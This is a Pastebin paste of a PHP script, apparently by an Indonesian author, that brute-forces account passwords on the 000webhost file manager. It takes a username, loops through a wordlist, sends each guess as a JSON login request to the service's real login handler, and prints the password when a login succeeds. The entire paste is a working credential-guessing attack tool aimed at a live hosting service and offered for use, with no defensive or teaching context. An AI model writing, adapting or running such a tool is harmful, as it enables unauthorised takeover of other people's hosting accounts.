Advertisement
Guest User

000webhost BruteForce

a guest
Nov 25th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1. <?php
  2. system('clear');
  3. //===========CopyRight nih Tolo ajg Bangsd Jangan Diganti=============
  4. //@Author : Fansa (IndoSec)
  5. //@Kegunaan : Gaguna sumpah, Cuman 000webhost BruteForce
  6. //@Created Date : 25 November 2018
  7. //@Usage : php namafile.php list.txt
  8. //===========CopyRight nih Tolo ajg Bangsd Jangan Diganti=============
  9.  
  10. //===========List Checking=============
  11. echo "
  12. ___ ___ ___ ____ _
  13. / _ \ / _ \ / _ \| __ ) _ __ _ _| |_ ___
  14. | | | | | | | | | | _ \| '__| | | | __/ _ \
  15. | |_| | |_| | |_| | |_) | | | |_| | || __/
  16. \___/ \___/ \___/|____/|_| \__,_|\__\___|
  17. ";
  18. echo "\nUsername : ";
  19. $user = trim(fgets(STDIN, 1024));
  20. $list = "WORDLIST DISINI";
  21. /*@Ex :
  22. $list = "Nani
  23. Kore
  24. Desu
  25. Ka
  26. Hahaha
  27. Yamete
  28. Senpai
  29. Ahhhh
  30. Wik Wik Wik";
  31. */
  32. $explode = explode("\n", $list);
  33. if (empty($list)) {
  34. echo "WordList tidak ada\n";
  35. } else {
  36. foreach ($explode as $check) {
  37. echo "[x] Mencoba Password : ".$check;
  38. //===========List Checking=============
  39.  
  40. //===========REQUEST METHOD=============
  41. $data = '{"action":"login","username":"'.$user.'","password":"'.$check.'"}';
  42. $ch = curl_init();
  43. curl_setopt($ch, CURLOPT_POST, true);
  44. curl_setopt($ch, CURLOPT_URL, 'https://files.000webhost.com/handler.php?action=login');
  45. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  46. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  47. curl_setopt($ch, CURLOPT_HEADER, 0);
  48. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
  49. $res = curl_exec($ch);
  50. //===========REQUEST METHOD=============
  51.  
  52. //===========Opsional=============
  53. $ch2 = curl_init();
  54. curl_setopt($ch2, CURLOPT_URL, 'https://files.000webhost.com/');
  55. curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
  56. curl_setopt($ch2, CURLOPT_HEADER, 0);
  57. $res2 = curl_exec($ch2);
  58. //===========Opsional=============
  59.  
  60. //===========Info=============
  61. if (preg_match('/true/',$res)) {
  62. preg_match('/<title>(.*?)<\/title>/',$res,$f);
  63. echo "\nSukses Login...\n\nResponse";
  64. echo "\n=========================\n";
  65. print_r($res);
  66. echo "\nPassword : ".$check."\n";
  67. die();
  68. echo "\n=========================\n";
  69. } else {
  70. echo "\nGagal Login Bos...\n\n";
  71. }
  72. }
  73. }
  74. //===========Info=============
  75. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement